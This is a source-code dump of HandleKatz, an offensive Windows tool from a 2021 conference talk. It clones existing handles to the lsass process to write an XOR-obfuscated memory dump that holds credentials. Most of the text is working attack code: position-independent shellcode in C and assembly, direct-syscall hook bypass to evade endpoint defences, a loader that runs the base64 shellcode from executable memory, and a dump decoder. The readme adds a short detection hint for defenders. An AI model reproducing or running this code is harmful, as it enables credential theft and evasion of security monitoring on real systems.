├── bin └── .gitkeep ├── PICYourMalware.pdf ├── imgs └── HandleKatz.png ├── src ├── chkstk_ms.asm ├── linker.ld ├── HandleKatz.h ├── HandleTools.h ├── GateTrampolin.asm ├── adjuststack.asm ├── RecycledGate.h ├── Misc.h ├── DumpTools.h ├── HandleKatzPIC.c ├── RecycledGate.c ├── HandleTools.c ├── APIResolve.h ├── ApiResolve.c ├── Misc.c ├── Defines.h └── DumpTools.c ├── extract.sh ├── loader ├── HandleKatz.h.prefix └── loader.cpp ├── DISCLAIMER.md ├── Decoder.py ├── makefile └── readme.md /bin/.gitkeep: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /PICYourMalware.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/codewhitesec/HandleKatz/HEAD/PICYourMalware.pdf -------------------------------------------------------------------------------- /imgs/HandleKatz.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/codewhitesec/HandleKatz/HEAD/imgs/HandleKatz.png -------------------------------------------------------------------------------- /src/chkstk_ms.asm: -------------------------------------------------------------------------------- 1 | global ___chkstk_ms 2 | 3 | segment .text 4 | 5 | ___chkstk_ms: 6 | ret 7 | -------------------------------------------------------------------------------- /extract.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | for i in $(objdump -d bin/HandleKatzPIC.exe | grep "^ " | cut -f2); do echo -e -n "\x$i"; done >> bin/HandleKatz.bin 3 | -------------------------------------------------------------------------------- /src/linker.ld: -------------------------------------------------------------------------------- 1 | ENTRY(alignstack) 2 | SECTIONS 3 | { 4 | .text : 5 | { 6 | *(.text.alignstack) 7 | *(.text.handleKatz) 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /src/HandleKatz.h: -------------------------------------------------------------------------------- 1 | #include "windows.h" 2 | #include 3 | 4 | DWORD handleKatz(BOOL b_only_recon, char* ptr_output_path, uint32_t pid, char* ptr_buf_output); -------------------------------------------------------------------------------- /loader/HandleKatz.h.prefix: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "windows.h" 4 | #include 5 | 6 | typedef DWORD(HandleKatz)(BOOL b_recon_only, char* ptr_output, uint32_t pid, char* ptr_stdout); 7 | char handlekatz_b64[] = 8 | /* base64-encoded blob below */ -------------------------------------------------------------------------------- /src/HandleTools.h: -------------------------------------------------------------------------------- 1 | 2 | #include "windows.h" 3 | 4 | #include "APIResolve.h" 5 | #include "Misc.h" 6 | 7 | 8 | 9 | PSYSTEM_HANDLE_INFORMATION get_handles(struct fPtrs* ptr_functions); 10 | HANDLE check_handles(PSYSTEM_HANDLE_INFORMATION, DWORD, char*, struct fPtrs* ptr_functions); 11 | -------------------------------------------------------------------------------- /src/GateTrampolin.asm: -------------------------------------------------------------------------------- 1 | segment .text 2 | 3 | global PrepareSyscall 4 | global DoSyscall 5 | 6 | PrepareSyscall: 7 | 8 | xor r11, r11 9 | xor r10, r10 10 | mov r11, rcx 11 | mov r10, rdx 12 | ret 13 | 14 | DoSyscall: 15 | 16 | push r10 17 | xor rax, rax 18 | mov r10, rcx 19 | mov eax, r11d 20 | ret 21 | 22 | 23 | -------------------------------------------------------------------------------- /src/adjuststack.asm: -------------------------------------------------------------------------------- 1 | extern handleKatz 2 | global alignstack 3 | 4 | segment .text 5 | 6 | alignstack: 7 | push rdi 8 | mov rdi, rsp 9 | and rsp, byte -0x10 10 | sub rsp, byte +0x20 11 | call handleKatz 12 | mov rsp, rdi 13 | pop rdi 14 | ret 15 | 16 | -------------------------------------------------------------------------------- /DISCLAIMER.md: -------------------------------------------------------------------------------- 1 | ### DISCLAIMER 2 | 3 | You expressly understand and agree that HandleKatz (creators and contributors) shall not be liable for any damages or losses resulting from your use of this tool or third-party products that use it. 4 | 5 | Creators aren't in charge of any and have/has no responsibility for any kind of: 6 | 7 | * Unlawful or illegal use of the tool 8 | * Legal or Law infringement (acted in any country, state, municipality, place) by third parties and users 9 | * Act against ethical and / or human moral, ethic, and peoples and cultures of the world 10 | * Malicious act, capable of causing damage to third parties, promoted or distributed by third parties or the user through this tool 11 | 12 | ### Contact 13 | 14 | Feel free to contact info@code-white.com for any questions. 15 | -------------------------------------------------------------------------------- /src/RecycledGate.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "windows.h" 4 | #include "Defines.h" 5 | 6 | #ifdef _DEBUG 7 | #include "stdio.h" 8 | #endif 9 | 10 | #define FAIL 0 11 | #define SUCCESS 1 12 | 13 | #define HASH_KEY 0x41424344 14 | #define SYS_STUB_SIZE 32 15 | 16 | #define UP -32 17 | #define DOWN 32 18 | 19 | typedef struct { 20 | 21 | DWORD dwSyscallNr; 22 | PVOID pRecycledGate; 23 | 24 | } Syscall; 25 | 26 | PVOID findNtDll(void); 27 | WCHAR* toLower(WCHAR* str); 28 | 29 | extern void PrepareSyscall(DWORD dwSycallNr, PVOID dw64Gate); 30 | extern int DoSyscall(); 31 | 32 | PVOID findNtDll(void); 33 | DWORD getSyscall(DWORD crypted_hash, Syscall* pSyscall); 34 | 35 | unsigned long djb2_unicode(const wchar_t* str); 36 | unsigned long djb2(unsigned char* str); 37 | unsigned long xor_hash(unsigned long hash); 38 | -------------------------------------------------------------------------------- /Decoder.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import os.path 3 | import sys 4 | 5 | def main(input, output): 6 | 7 | if not os.path.isfile(input): 8 | print(f"[-] Failed to open: {input}") 9 | sys.exit(0) 10 | 11 | h_in = open(input, "rb") 12 | h_out = open(output, "wb") 13 | 14 | bytes_in = bytearray(h_in.read()) 15 | bytes_in_len = len(bytes_in) 16 | 17 | print(f"[*] Read: {str(bytes_in_len)} bytes") 18 | print("[*] Now deobfuscating, this might take a while") 19 | 20 | chunks = [bytes_in[i:i+1000000] for i in range(0, len(bytes_in), 1000000)] 21 | for chunk in chunks: 22 | for i in range(0, len(chunk)): 23 | chunk[i] ^= 0x41 24 | 25 | h_out.write(bytes(chunk)) 26 | 27 | print(f"[*] Deobfuscated to: {output}") 28 | 29 | if __name__ == "__main__": 30 | 31 | parser = argparse.ArgumentParser(description="") 32 | parser.add_argument("-input", required=True) 33 | parser.add_argument("-output", required=True) 34 | 35 | args = parser.parse_args() 36 | main(args.input, args.output) 37 | -------------------------------------------------------------------------------- /makefile: -------------------------------------------------------------------------------- 1 | CC := x86_64-w64-mingw32-gcc 2 | CXX := x86_64-w64-mingw32-g++ 3 | LD := x86_64-w64-mingw32-ld 4 | CFLAGS := -Wall -m64 -ffunction-sections -fno-asynchronous-unwind-tables -nostdlib -fno-ident -O2 5 | CCLDFLAGS := -Wl,-Tsrc/linker.ld,--no-seh -DC2 6 | 7 | S_SRCS := src/adjuststack.asm src/chkstk_ms.asm src/GateTrampolin.asm 8 | C_SRCS := src/ApiResolve.c src/HandleKatzPIC.c src/Misc.c src/HandleTools.c src/DumpTools.c src/RecycledGate.c 9 | OBJS := $(patsubst src/%.asm,%.o,$(S_SRCS)) $(patsubst src/%.c,%.o,$(C_SRCS)) 10 | 11 | all: bin/HandleKatzPIC.exe bin/HandleKatz.bin bin/loader.exe 12 | 13 | bin/HandleKatzPIC.exe: $(OBJS) 14 | mkdir -p $(@D) 15 | $(LD) -s $^ -o $@ 16 | 17 | bin/HandleKatz.bin: bin/HandleKatzPIC.exe 18 | objcopy -j .text -O binary $< $@ 19 | 20 | loader/HandleKatz.h: loader/HandleKatz.h.prefix bin/HandleKatz.bin 21 | ( \ 22 | set -e; \ 23 | cat loader/HandleKatz.h.prefix; \ 24 | base64 bin/HandleKatz.bin | xargs -i echo '"{}"';\ 25 | echo ';' \ 26 | ) > $@.t 27 | mv $@.t $@ 28 | 29 | bin/loader.exe: loader/loader.cpp loader/HandleKatz.h 30 | mkdir -p $(@D) 31 | $(CXX) -s -o $@ $< -lcrypt32 32 | 33 | %.o: src/%.asm 34 | nasm -f win64 $< -o $@ 35 | 36 | %.o: src/%.c 37 | $(CC) $< $(CFLAGS) -c -o $@ $(CCLDFLAGS) 38 | 39 | .PHONY: clean 40 | clean: 41 | rm -rf $(OBJS) \ 42 | bin/HandleKatzPIC.exe bin/HandleKatz.bin \ 43 | loader/HandleKatz.h bin/loader.exe 44 | -------------------------------------------------------------------------------- /src/Misc.h: -------------------------------------------------------------------------------- 1 | #ifndef MISC_H 2 | #define MISC_H 3 | 4 | #include "APIResolve.h" 5 | #include "RecycledGate.h" 6 | 7 | #include "windows.h" 8 | 9 | struct fPtrs { 10 | COPYMEMORY _CopyMemory; 11 | LSTRCATA _lstrcatA; 12 | LSTRLENA _lstrlenA; 13 | WSPRINTFA _wsprintfA; 14 | CREATEFILEA _CreateFileA; 15 | CLOSEHANDLE _CloseHandle; 16 | GETPROCESSID _GetProcessId; 17 | VIRTUALFREE _VirtualFree; 18 | LSTRCMPA _lstrcmpA; 19 | VIRTUALALLOC _VirtualAlloc; 20 | STRCMPW _strcmpW; 21 | STRSTRA _strstrA; 22 | GETMODULEFILENAMEXA _GetModuleFileNameExA; 23 | GETPROCESSIMAGEFILENAMEA _GetProcessImageFileNameA; 24 | PATHFINDFILENAMEA _PathFindFileNameA; 25 | WRITEFILE _WriteFile; 26 | HEAPALLOC _HeapAlloc; 27 | GETPROCESSHEAP _GetProcessHeap; 28 | HEAPFREE _HeapFree; 29 | HEAPREALLOC _HeapReAlloc; 30 | SETFILEPOINTER _SetFilePointer; 31 | LOADLIBRARYA _LoadLibrary; 32 | GETSYSTEMINFO _GetSystemInfo; 33 | FREELIBRARY _FreeLibrary; 34 | ISPROCESSORFEATUREPRESENT _IsProcessorFeaturePresent; 35 | LSTRLENW _lstrlenW; 36 | GETPROCADDRESS _GetProcAddress; 37 | VIRTUALQUERYEX _VirtualQueryEx; 38 | SETFILEPOINTEREX _SetFilePointerEx; 39 | GETFILEVERSIONINFOSIZEW _GetFileVersionInfoSizeW; 40 | GETFILEVERSIONINFOW _GetFileVersionInfoW; 41 | VERQUERYVALUEW _VerQueryValueW; 42 | LSTRCPYW _lstrcpyW; 43 | GETMODULEFILENAMEEXW _GetModuleFileNameExW; 44 | ENUMPROCESSMODULES _EnumProcessModules; 45 | GETMODULEINFORMATION _GetModuleInformation; 46 | GETMODULEBASENAMEW _GetModuleBaseNameW; 47 | LSTRCMPW _lstrcmpW; 48 | LOOKUPPRIVILEGEVALUEA _LookupPrivilegeValueA; 49 | }; 50 | 51 | DWORD resolveFptrs(struct fPtrs* ptrs); 52 | DWORD setDebugPrivilege(struct fPtrs *); 53 | #endif 54 | -------------------------------------------------------------------------------- /loader/loader.cpp: -------------------------------------------------------------------------------- 1 | #include "HandleKatz.h" 2 | 3 | #include 4 | 5 | void help(char**); 6 | void args(PBOOL b_only_recon, char** pptr_path_dmp, PDWORD ptr_pid, int argc, char** argv); 7 | 8 | int 9 | main(int argc, char** argv) { 10 | 11 | uint8_t* ptr_handlekatz = NULL; 12 | DWORD dw_len_handleKatz = 0, dw_len_handlekatz_b64 = 0, dw_success = 0, dw_pid = 0; 13 | char* ptr_output = NULL, *ptr_pth_dmp = NULL; 14 | BOOL b_recon_only = FALSE; 15 | 16 | args(&b_recon_only, &ptr_pth_dmp, &dw_pid, argc, argv); 17 | 18 | printf("[*] Recon only: %d\n", b_recon_only); 19 | printf("[*] Path dmp: %s\n", ptr_pth_dmp); 20 | printf("[*] Pid to clone from: %d\n", dw_pid); 21 | 22 | dw_len_handlekatz_b64 = lstrlenA(handlekatz_b64); 23 | dw_success = CryptStringToBinaryA((LPCSTR)handlekatz_b64, dw_len_handlekatz_b64, CRYPT_STRING_BASE64, NULL, (DWORD*)&dw_len_handleKatz, NULL, NULL); 24 | if (!dw_success) 25 | goto cleanup; 26 | 27 | ptr_handlekatz = (uint8_t*)VirtualAlloc(0, dw_len_handleKatz, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 28 | if (ptr_handlekatz == NULL) 29 | goto cleanup; 30 | 31 | dw_success = CryptStringToBinaryA((LPCSTR)handlekatz_b64, dw_len_handlekatz_b64, CRYPT_STRING_BASE64, ptr_handlekatz, (DWORD*)&dw_len_handleKatz, NULL, NULL); 32 | if (!dw_success) 33 | goto cleanup; 34 | 35 | ptr_output = (char*)VirtualAlloc(0, 0x4096, MEM_COMMIT, PAGE_READWRITE); 36 | 37 | dw_success = ((HandleKatz*)ptr_handlekatz)(b_recon_only, ptr_pth_dmp, dw_pid, ptr_output); 38 | printf("[*] HandleKatz return value: %d\n", dw_success); 39 | printf("[*] HandleKatz output:\n\n"); 40 | printf("%s\n", ptr_output); 41 | 42 | cleanup: 43 | 44 | return 0; 45 | 46 | } 47 | 48 | void 49 | args(PBOOL b_only_recon, char** pptr_path_dmp, PDWORD ptr_pid, int argc, char** argv){ 50 | 51 | if (argc != 2 && argc != 3) 52 | help(argv); 53 | 54 | if (strstr(argv[1], "--recon")) 55 | *b_only_recon = TRUE; 56 | else { 57 | 58 | for (int i = 1; i < argc; i++) { 59 | 60 | if (strstr(argv[i], "--pid")) 61 | *ptr_pid = atoi(strstr(argv[i], ":") + 1); 62 | 63 | if (strstr(argv[i], "--outfile")) 64 | *pptr_path_dmp = strstr(argv[i], ":") + 1; 65 | 66 | } 67 | } 68 | 69 | } 70 | 71 | void 72 | help(char** argv) { 73 | 74 | printf("%s {--recon} {--pid:[pid to clone from] --outfile:[path to obfuscated dmp]\n", argv[0]); 75 | exit(0); 76 | 77 | } -------------------------------------------------------------------------------- /readme.md: -------------------------------------------------------------------------------- 1 | # HandleKatz 2 | 3 | This tool was implemented as part of our Brucon2021 conference talk and demonstrates the usage of **cloned handles to Lsass** in order to create an obfuscated memory dump of the same. 4 | 5 | It compiles down to an executable **living fully in its text segment**. Thus, the extracted .text segment of the PE file is fully position independent code (=PIC), meaning that it can be treated like any shellcode. 6 | 7 | The execution of HandleKatz in memory has a very small footprint, as itself does not allocate any more executable memory and can therefore efficiently be combined with concepts such as (Phantom)DLL-Hollowing as described by [@_ForrestOrr](https://www.forrest-orr.net/post/malicious-memory-artifacts-part-i-dll-hollowing). This is in contrast to PIC PE loaders, such as Donut, SRDI or Reflective Loaders which, during PE loading, allocate more executable memory. 8 | Additionally, it makes use of a modified version of ReactOS MiniDumpWriteDumpA and bypasses userlandhooks using [RecycledGate](https://github.com/thefLink/RecycledGate). 9 | 10 | For detailed information please refer to the PDF file **PICYourMalware.pdf** in this repository. 11 | 12 | ## Usage 13 | 14 | - **make all** to build HandleKatzPIC.exe, HandleKatz.bin and loader.exe 15 | 16 | **Please note** that different compiler (versions) yield different results. This might produce a PE file with relocations. 17 | 18 | All tests were carried out using ```x86_64-w64-mingw32-gcc mingw-gcc version 11.2.0 (GCC)```. The produced PIC was successfully tested on: Windows 10 Pro 10.0.17763. On other versions of windows, API hashes might differ. 19 | 20 | To use the PIC, cast a pointer to the shellcode in executable memory and call it according to the definition: 21 | ``` 22 | DWORD handleKatz(BOOL b_only_recon, char* ptr_output_path, uint32_t pid, char* ptr_buf_output); 23 | ``` 24 | 25 | - **b_only_recon** If set, HandleKatz will only enumerate suitable handles without dumping 26 | - **ptr_output_path** Determines where the obfuscated dump will be written to 27 | - **pid** What PID to clone a handle from 28 | - **ptr_buf_output** A char pointer to which HandleKatz writes its internal output 29 | 30 | For deobfuscation of the dump file, the script **Decoder.py** can be used. 31 | 32 | **Loader** implements a sample loader for HandleKatz: 33 | ``` 34 | loader.exe --pid:7331 --outfile:C:\Temp\dump.obfuscated 35 | ``` 36 | ![Usage of HandleKatz PIC](imgs/HandleKatz.png) 37 | 38 | ## Detection 39 | 40 | As cloned handles are used along with modified ReactOS code, no ProcessAccess events can be observed on Lsass. However, ProcessAccess events on programs which hold a handle to Lsass can be observed. 41 | 42 | Defenders can monitor for ProcessAccess masks with set **PROCESS_DUP_HANDLE (0x0040)** to identify the usage of this tool. 43 | 44 | ## Credits 45 | 46 | - Implementation by our [@thefLinkk](https://twitter.com/thefLinkk), see [C-To-Shellcode-Examples](https://github.com/thefLink/C-To-Shellcode-Examples) for more PIC examples. 47 | - [@Hasherezade](https://twitter.com/hasherezade) for [tutorials](https://vxug.fakedoma.in/papers/VXUG/Exclusive/FromaCprojectthroughassemblytoshellcodeHasherezade.pdf) on the C-To-Shellcode concept 48 | - [@ParanoidNinja](https://twitter.com/NinjaParanoid) for [tutorials](https://github.com/paranoidninja/PIC-Get-Privileges) on the C-To-Shellcode concept 49 | - [@_ForrestOrr](https://twitter.com/_ForrestOrr) for his amazing [blogpost series](https://www.forrest-orr.net/post/malicious-memory-artifacts-part-i-dll-hollowing) on memory artifacts 50 | - [@rookuu_](https://twitter.com/rookuu_) for the idea to use ReactOS MiniDumpWriteDump 51 | - [Outflank](https://outflank.nl/) for documenting direct syscalls and their [InlineWhispers](https://github.com/outflanknl/InlineWhispers) project 52 | - [React OS](https://reactos.org/) for the implementation of MiniDumpWriteDump 53 | - [Hilko Bengen](https://github.com/hillu) for improving the makefile 54 | -------------------------------------------------------------------------------- /src/DumpTools.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "windows.h" 4 | #include 5 | 6 | #include "APIResolve.h" 7 | #include "Misc.h" 8 | 9 | 10 | 11 | #define ARRAY_SIZE(a) (sizeof(a)/sizeof((a)[0])) 12 | 13 | struct dump_context 14 | { 15 | /* process & thread information */ 16 | struct process* process; 17 | DWORD pid; 18 | HANDLE handle; 19 | unsigned flags_out; 20 | /* thread information */ 21 | struct dump_thread* threads; 22 | unsigned num_threads; 23 | /* module information */ 24 | struct dump_module* modules; 25 | unsigned num_modules; 26 | unsigned alloc_modules; 27 | /* exception information */ 28 | /* output information */ 29 | MINIDUMP_TYPE type; 30 | HANDLE hFile; 31 | RVA rva; 32 | struct dump_memory* mem; 33 | unsigned num_mem; 34 | unsigned alloc_mem; 35 | struct dump_memory64* mem64; 36 | unsigned num_mem64; 37 | unsigned alloc_mem64; 38 | /* callback information */ 39 | MINIDUMP_CALLBACK_INFORMATION* cb; 40 | } ; 41 | 42 | struct line_info 43 | { 44 | ULONG_PTR is_first : 1, 45 | is_last : 1, 46 | is_source_file : 1, 47 | line_number; 48 | union 49 | { 50 | ULONG_PTR pc_offset; /* if is_source_file isn't set */ 51 | unsigned source_file; /* if is_source_file is set */ 52 | } u; 53 | }; 54 | 55 | struct module_pair 56 | { 57 | struct process* pcs; 58 | struct module* requested; /* in: to module_get_debug() */ 59 | struct module* effective; /* out: module with debug info */ 60 | }; 61 | 62 | enum pdb_kind { PDB_JG, PDB_DS }; 63 | 64 | struct pdb_lookup 65 | { 66 | const char* filename; 67 | enum pdb_kind kind; 68 | DWORD age; 69 | DWORD timestamp; 70 | GUID guid; 71 | }; 72 | 73 | struct cpu_stack_walk 74 | { 75 | HANDLE hProcess; 76 | HANDLE hThread; 77 | BOOL is32; 78 | struct cpu* cpu; 79 | union 80 | { 81 | struct 82 | { 83 | PREAD_PROCESS_MEMORY_ROUTINE f_read_mem; 84 | PTRANSLATE_ADDRESS_ROUTINE f_xlat_adr; 85 | PFUNCTION_TABLE_ACCESS_ROUTINE f_tabl_acs; 86 | PGET_MODULE_BASE_ROUTINE f_modl_bas; 87 | } s32; 88 | struct 89 | { 90 | PREAD_PROCESS_MEMORY_ROUTINE64 f_read_mem; 91 | PTRANSLATE_ADDRESS_ROUTINE64 f_xlat_adr; 92 | PFUNCTION_TABLE_ACCESS_ROUTINE64 f_tabl_acs; 93 | PGET_MODULE_BASE_ROUTINE64 f_modl_bas; 94 | } s64; 95 | } u; 96 | }; 97 | 98 | struct dump_memory 99 | { 100 | ULONG64 base; 101 | ULONG size; 102 | ULONG rva; 103 | }; 104 | 105 | struct dump_memory64 106 | { 107 | ULONG64 base; 108 | ULONG64 size; 109 | }; 110 | 111 | struct dump_module 112 | { 113 | unsigned is_elf; 114 | ULONG64 base; 115 | ULONG size; 116 | DWORD timestamp; 117 | DWORD checksum; 118 | WCHAR name[MAX_PATH]; 119 | }; 120 | 121 | struct dump_thread 122 | { 123 | ULONG tid; 124 | ULONG prio_class; 125 | ULONG curr_prio; 126 | }; 127 | 128 | BOOL MiniDumpWriteDumpA(HANDLE hProcess, DWORD pid, HANDLE hFile, struct fPtrs*); -------------------------------------------------------------------------------- /src/HandleKatzPIC.c: -------------------------------------------------------------------------------- 1 | #include "windows.h" 2 | 3 | #include "APIResolve.h" 4 | #include "DumpTools.h" 5 | #include "HandleTools.h" 6 | #include "Misc.h" 7 | #include "RecycledGate.h" 8 | 9 | DWORD dump(DWORD, char*, char*, struct fPtrs*); 10 | DWORD recon(char*, struct fPtrs*); 11 | 12 | #ifdef ENCODE 13 | 14 | DWORD 15 | handleKatz(void) { 16 | BOOL b_only_recon = false; 17 | char* ptr_output_path = {'C' ...}; 18 | uint32_t pid = 1337; 19 | 20 | char *ptr_buf_output = (char*)ptrs_functions._VirtualAlloc(0, 0x4096, MEM_COMMIT, PAGE_READWRITE); 21 | if(ptr_buf_output == NULL) 22 | goto cleanup; 23 | 24 | #else 25 | DWORD 26 | handleKatz(BOOL b_only_recon, char* ptr_output_path, uint32_t pid, char* ptr_buf_output) { 27 | #endif 28 | 29 | struct fPtrs ptrs_functions = { 0 }; 30 | DWORD dw_success = FAIL; 31 | 32 | dw_success = resolveFptrs(&ptrs_functions); 33 | if (dw_success == FAIL) { 34 | goto cleanup; 35 | } 36 | 37 | dw_success = setDebugPrivilege(&ptrs_functions); 38 | if (dw_success == FAIL) { 39 | char msg_no_admin[] = { '[','-',']',' ','C','o','u','l','d',' ','n','o','t',' ','e','n','a','b','l','e',' ','D','e','b','u','g',' ','p','r','i','v','i','l','e','g','e','\n', 0x00 }; 40 | ptrs_functions._lstrcatA((char*)ptr_buf_output, msg_no_admin); 41 | goto cleanup; 42 | } 43 | 44 | if (b_only_recon) { 45 | 46 | char msg_do_recon[] = { '[','*',']',' ','C','h','e','c','k','i','n','g',' ','f','o','r',' ','p','r','o','c','e','s','s','e','s',' ','w','i','t','h',' ','a',' ','s','u','i','t','a','b','l','e',' ','h','a','n','d','l','e',' ','t','o',' ','l','s','a','s','s',' ','.','.','.',' ','\n', 0x00 }; 47 | ptrs_functions._lstrcatA((char*)ptr_buf_output, msg_do_recon); 48 | 49 | dw_success = recon((char*)ptr_buf_output, &ptrs_functions); 50 | if(dw_success == FAIL) 51 | goto cleanup; 52 | 53 | } else { 54 | 55 | char msg_attempting_clone[] = { '[','*',']',' ','A','t','t','e','m','p','t','i','n','g',' ','t','o',' ','c','l','o','n','e',' ','l','s','a','s','s',' ','h','a','n','d','l','e',' ','f','r','o','m',' ','p','i','d',':',' ','%','d','\n', 0x00}; 56 | char msg_outfile[] = { '[','*',']',' ','O','u','t','f','i','l','e',':',' ','%','s','\n', 0x00}; 57 | 58 | char line[512] = { 0x00 }; 59 | char line_1[512] = { 0x00 }; 60 | 61 | ptrs_functions._wsprintfA(line, msg_attempting_clone, pid); 62 | ptrs_functions._wsprintfA(line_1, msg_outfile, ptr_output_path); 63 | 64 | ptrs_functions._lstrcatA((char*)ptr_buf_output, line); 65 | ptrs_functions._lstrcatA((char*)ptr_buf_output, line_1); 66 | 67 | dw_success = dump(pid, (char*)ptr_buf_output, ptr_output_path, &ptrs_functions); 68 | if(dw_success == FAIL) 69 | goto cleanup; 70 | 71 | } 72 | 73 | dw_success = SUCCESS; 74 | 75 | cleanup: 76 | 77 | return dw_success; 78 | 79 | } 80 | 81 | DWORD 82 | dump(DWORD pid, char* ptr_output, char* outpath, struct fPtrs* ptrs_functions) { 83 | 84 | HANDLE h_lsass = NULL, h_f_dump = NULL; 85 | DWORD dw_pid_lsass = 0x00, dw_success = FAIL; 86 | PSYSTEM_HANDLE_INFORMATION handle_info = NULL; 87 | 88 | handle_info = get_handles(ptrs_functions); 89 | if (handle_info == NULL) { 90 | char msg_failed_retrieve_handles[] = { '[','-',']',' ','F','a','i','l','e','d',' ','t','o',' ','g','e','t',' ','a',' ','l','i','s','t',' ','o','f',' ','h','a','n','d','l','e','s','\n', 0x00 }; 91 | ptrs_functions->_lstrcatA(ptr_output, msg_failed_retrieve_handles); 92 | goto cleanup; 93 | } 94 | 95 | h_lsass = check_handles(handle_info, pid, ptr_output, ptrs_functions); 96 | if (h_lsass == NULL) { 97 | char msg_could_not_find_handle[] = { '[','-',']',' ','C','o','u','l','d',' ','n','o','t',' ','f','i','n','d',' ','a','p','p','r','o','p','r','i','a','t','e',' ','h','a','n','d','l','e',' ','i','n',' ','g','i','v','e','n',' ','p','i','d','\n', 0x00}; 98 | ptrs_functions->_lstrcatA(ptr_output, msg_could_not_find_handle); 99 | goto cleanup; 100 | } 101 | 102 | char msg_dumping[] = { '[','*',']',' ','N','o','w',' ','t','r','y','i','n','g',' ','t','o',' ','d','u','m','p',' ','l','s','a','s','s',' ','.','.','.',' ','\n', 0x00}; 103 | ptrs_functions->_lstrcatA(ptr_output, msg_dumping); 104 | 105 | h_f_dump = ptrs_functions->_CreateFileA(outpath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); 106 | if (h_f_dump == INVALID_HANDLE_VALUE) { 107 | char msg_file_error[] = { '[','-',']',' ','C','o','u','l','d',' ','n','o','t',' ','w','r','i','t','e',' ','t','o',' ','s','p','e','c','i','f','i','e','d',' ','o','u','t','p','u','t','f','i','l','e','\n', 0x00}; 108 | ptrs_functions->_lstrcatA(ptr_output, msg_file_error); 109 | goto cleanup; 110 | } 111 | 112 | dw_pid_lsass = ptrs_functions->_GetProcessId(h_lsass); 113 | dw_success = MiniDumpWriteDumpA(h_lsass, dw_pid_lsass, h_f_dump, ptrs_functions); 114 | 115 | if (dw_success == FAIL) { 116 | char msg_dump_fail[] = { '[','-',']',' ','S','o','m','e','t','h','i','n','g',' ','w','e','n','t',' ','w','r','o','n','g',' ','w','h','i','l','e',' ','d','u','m','p','i','n','g','\n', 0x00 }; 117 | ptrs_functions->_lstrcatA(ptr_output, msg_dump_fail); 118 | goto cleanup; 119 | } 120 | 121 | char msg_complete[] = { '[','+',']',' ','L','s','a','s','s',' ','d','u','m','p',' ','i','s',' ','c','o','m','p','l','e','t','e','\n', 0x00}; 122 | ptrs_functions->_lstrcatA(ptr_output, msg_complete); 123 | 124 | dw_success = SUCCESS; 125 | 126 | cleanup: 127 | 128 | if (h_f_dump) 129 | ptrs_functions->_CloseHandle(h_f_dump); 130 | 131 | if (h_lsass) 132 | ptrs_functions->_CloseHandle(h_lsass); 133 | 134 | if (handle_info != NULL) 135 | ptrs_functions->_VirtualFree(handle_info, 0, MEM_RELEASE); 136 | 137 | return dw_success; 138 | 139 | } 140 | 141 | 142 | DWORD 143 | recon(char* ptr_output, struct fPtrs* ptrs_functions) { 144 | 145 | PSYSTEM_HANDLE_INFORMATION handle_info = NULL; 146 | DWORD dw_success = FALSE; 147 | HANDLE hCheck = NULL; 148 | 149 | handle_info = get_handles(ptrs_functions); 150 | if (handle_info == NULL) { 151 | 152 | char msg_failed_retrieve_handles[] = { '[','-',']',' ','F','a','i','l','e','d',' ','t','o',' ','g','e','t',' ','a',' ','l','i','s','t',' ','o','f',' ','h','a','n','d','l','e','s','\n', 0x00}; 153 | ptrs_functions->_lstrcatA(ptr_output, msg_failed_retrieve_handles); 154 | goto cleanup; 155 | 156 | } 157 | 158 | hCheck = check_handles(handle_info, 0, ptr_output, ptrs_functions); 159 | if(hCheck == FAIL) 160 | goto cleanup; 161 | 162 | dw_success = SUCCESS; 163 | 164 | cleanup: 165 | 166 | if (handle_info != NULL) 167 | ptrs_functions->_VirtualFree(handle_info, 0, MEM_RELEASE); 168 | 169 | return dw_success; 170 | 171 | } 172 | 173 | -------------------------------------------------------------------------------- /src/RecycledGate.c: -------------------------------------------------------------------------------- 1 | #include "RecycledGate.h" 2 | 3 | DWORD getSyscall(DWORD dwCryptedHash, Syscall* pSyscall) { 4 | 5 | PIMAGE_DOS_HEADER pDosHdr = NULL; 6 | PIMAGE_NT_HEADERS pNtHdrs = NULL; 7 | PIMAGE_EXPORT_DIRECTORY pExportDir = NULL; 8 | 9 | PVOID pGate = NULL, pNtdllBase = NULL, pStub = NULL; 10 | PDWORD pdwAddrOfNames = NULL, pdwAddrOfFunctions = NULL; 11 | PWORD pwAddrOfNameOrdinales = NULL; 12 | DWORD dwSyscallNr = 0, dwSuccess = FAIL; 13 | WORD wIdxStub = 0, wIdxfName = 0; 14 | PCHAR pFunctionName = NULL; 15 | BOOL bHooked = FALSE; 16 | 17 | #ifdef _DEBUG 18 | printf("[*] Resolving Syscall: %x\n", dwCryptedHash); 19 | #endif 20 | 21 | pNtdllBase = findNtDll(); 22 | if (pNtdllBase == NULL) 23 | goto exit; 24 | 25 | pDosHdr = (PIMAGE_DOS_HEADER)pNtdllBase; 26 | pNtHdrs = (PIMAGE_NT_HEADERS)((PBYTE)pNtdllBase + pDosHdr->e_lfanew); 27 | pExportDir = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)pNtdllBase + pNtHdrs->OptionalHeader.DataDirectory[0].VirtualAddress); 28 | 29 | pdwAddrOfFunctions = (PDWORD)((PBYTE)pNtdllBase + pExportDir->AddressOfFunctions); 30 | pdwAddrOfNames = (PDWORD)((PBYTE)pNtdllBase + pExportDir->AddressOfNames); 31 | pwAddrOfNameOrdinales = (PWORD)((PBYTE)pNtdllBase + pExportDir->AddressOfNameOrdinals); 32 | 33 | for (wIdxfName = 0; wIdxfName < pExportDir->NumberOfNames; wIdxfName++) { 34 | 35 | pFunctionName = (PCHAR)((PBYTE)pNtdllBase + pdwAddrOfNames[wIdxfName]); 36 | pStub = (PVOID)((PBYTE)pNtdllBase + pdwAddrOfFunctions[pwAddrOfNameOrdinales[wIdxfName]]); 37 | 38 | if (djb2((unsigned char*)pFunctionName) == xor_hash(dwCryptedHash)) 39 | break; 40 | 41 | } 